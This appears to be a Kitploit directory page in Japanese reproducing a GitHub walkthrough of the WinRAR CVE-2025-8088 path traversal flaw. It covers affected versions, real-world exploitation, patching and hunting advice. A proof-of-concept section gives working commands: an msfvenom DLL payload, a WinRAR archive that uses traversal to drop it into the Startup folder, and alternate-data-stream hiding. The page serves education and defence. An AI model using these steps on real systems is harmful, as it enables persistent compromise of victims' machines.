Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに！

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2025-8088-WinRAR-Zero-Day-Path-Traversal — WinRAR CVE-2025-8088の発見、パッチ適用、セキュリティ強化に関する、実践的なハッカーのひねりを加えた魅力的なウォークスルー。 | Kitploit
ツール/GitHubGitHub/adityabhatt3010/cve-2025-8088-winrar-zero-day-path-traversal
脆弱性分析エクスプロイトウェブアプリケーション悪用フォレンジックマルウェア分析ペネトレーションテスト脅威インテリジェンス学習と教育インシデントレスポンス

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
GitHubadityabhatt3010/cve-2025-8088-winrar-zero-day-path-traversal

CVE-2025-8088-WinRAR-Zero-Day-Path-Traversal

WinRAR CVE-2025-8088の発見、パッチ適用、セキュリティ強化に関する、実践的なハッカーのひねりを加えた魅力的なウォークスルー。

リポジトリを見る
1211ヶ月前未レビュー

CVE-2025-8088: WinRAR のゼロデイパストラバーサル — ゼロからPwnへ 🗿

はじめに – 「旧友」がまさかの脆弱性を露呈

WinRAR — 誰もがインストールしているが誰も更新していない埃をかぶった定番ソフト — に 高深刻度のゼロデイ脆弱性 CVE-2025-8088 が見つかりました。

  • 深刻度: CVSS v3.1 → 8.8 (High)
  • 実際の悪用 は RomCom (Storm-0978) や Paper Werewolf などの脅威アクターによって行われています。
  • パッチ適用バージョン: WinRAR 7.13 (2025年7月30日リリース)
  • 7.12 以下を使用している場合 — あなたは格好の標的です。

CISA はこれを 既知の悪用脆弱性カタログ に追加し、是正期限は2025年9月2日 としています。これは理論上の話ではなく、現実の攻撃 です。

Cover

バグの内容 🧩

  • 種類: パストラバーサル (ディレクトリトラバーサル)
  • 特徴: 代替データストリーム (ADS) を使用してペイロードを隠蔽
  • 影響: 悪意のあるRARファイルが意図されたフォルダの 外部 にファイルを展開可能 — 例: ..\Startup\evil.dll
  • 結果: 任意のファイル配置 → 永続化 → バックドア → RAT天国。

影響を受けるバージョン: Windows版 WinRAR (≤7.12)、UnRAR.dll、Portable UnRAR 安全: Linux、Unix、Android ビルド。

最初の確認 — あなたは脆弱ですか？ 🕵️‍♂️

慌てたりハッカーごっこをする前に、バージョンを確認 してください。

確認方法:

  • GUI: WinRAR を開く → ヘルプ → WinRAR について
  • コマンドプロンプト / PowerShell:
root@kitploit:~
winget list WinRAR

(またはインストールディレクトリから winrar.exe を実行)

  • DLL 確認: UnRAR.dll を右クリック → プロパティ → 詳細。

この記事を書き始めた時点で、私は 7.10 を使っていました — まさに格好の餌食です 🗿🐔🍗

WinRAR_Version

パッチ適用方法 (誰かに あなた がパッチされる前に) 🛡️

  1. 最新版を rarlab.com/download.htm からダウンロード
  2. システムに合わせて 64ビット版または32ビット版 を選択
  3. インストーラを実行 → 古いビルドが上書きされます
  4. 確認: ヘルプ → WinRAR について → 7.13 以上 と表示されるはず
  5. 依存ツールがある場合は UnRAR.dll も置き換えてください。

WinRAR は自動更新されません — カレンダーにリマインダーを設定し、静的な標的にならないようにしましょう。

WinRAR_Version_Updated

PS: ここで壁紙を見せびらかしているわけではありません — ちょっと自慢したかっただけです！😏

実際の悪用事例 ⚔️

  • RomCom (Storm-0978): スピアフィッシングによる職務経歴書を装ったデコイ、ウクライナ関連の標的。
  • Paper Werewolf: その後すぐに参入、ロシアの組織を標的に。
  • 配信されたペイロード: SnipBot、RustyClaw、Mythic Agent の亜種。
  • 悪意のある DLL/LNK を %TEMP% とスタートアップフォルダにドロップ。
  • CISA が 2025年8月12日にリスト化 → 期限: 2025年9月2日。

Proof of Concept (PoC) – 管理されたラボ環境のみ！ 🧨

⚠ 免責事項: これは 教育目的および許可されたセキュリティテスト のためのものです。グレムリンになりきらないでください 🗿。

ステップ 1: 悪意のある DLL を作成

root@kitploit:~
msfvenom -p windows/x64/exec CMD=calc.exe -f dll > evil.dll

ステップ 2: トラバーサル RAR を作成

root@kitploit:~
winrar a -ep -ap"\\..\\..\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\" payload.rar evil.dll

ステップ 3: (オプション) ADS ステルス

root@kitploit:~
type evil.dll > legit.txt:evil.dll

ステップ 4: 脆弱な WinRAR で解凍

すると evil.dll がスタートアップに配置されます。次回再起動時には calc.exe が起動します。

Workflow

緩和策とハンティング 🐺

  • パッチ適用 → WinRAR 7.13+

  • 不審な .dll や .lnk がないか確認:

    • %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup
    • %TEMP%

  • ADS の監視:

    root@kitploit:~
    streams.exe -s C:\

  • IDS/IPS ルール: ..\ シーケンスを含む RAR をフラグ付け

  • Nessus/Qualys プラグインはすでに公開されています。

主なタイムライン

  • 2025年7月18日 – ESET が活発な悪用を発見
  • 2025年7月30日 – パッチリリース (7.13)
  • 2025年8月12日 – CISA KEV カタログに追加
  • 2025年9月2日 – 連邦政府機関向け必須是正期限

最後に – パッチするか、滅びるか 🗿

これは「いつか来るかもしれない」脆弱性ではありません — これは 開示前に武器化されていました。 もしあなたがまだ 7.10 (この記事を書いているときの私のように) を使い続けているなら、今すぐパッチを当ててください。 もしあなたがレッドチーム側にいるなら、これを 古いツールが新たな攻撃ベクターになるケーススタディ として扱ってください。

ツールをダウンロード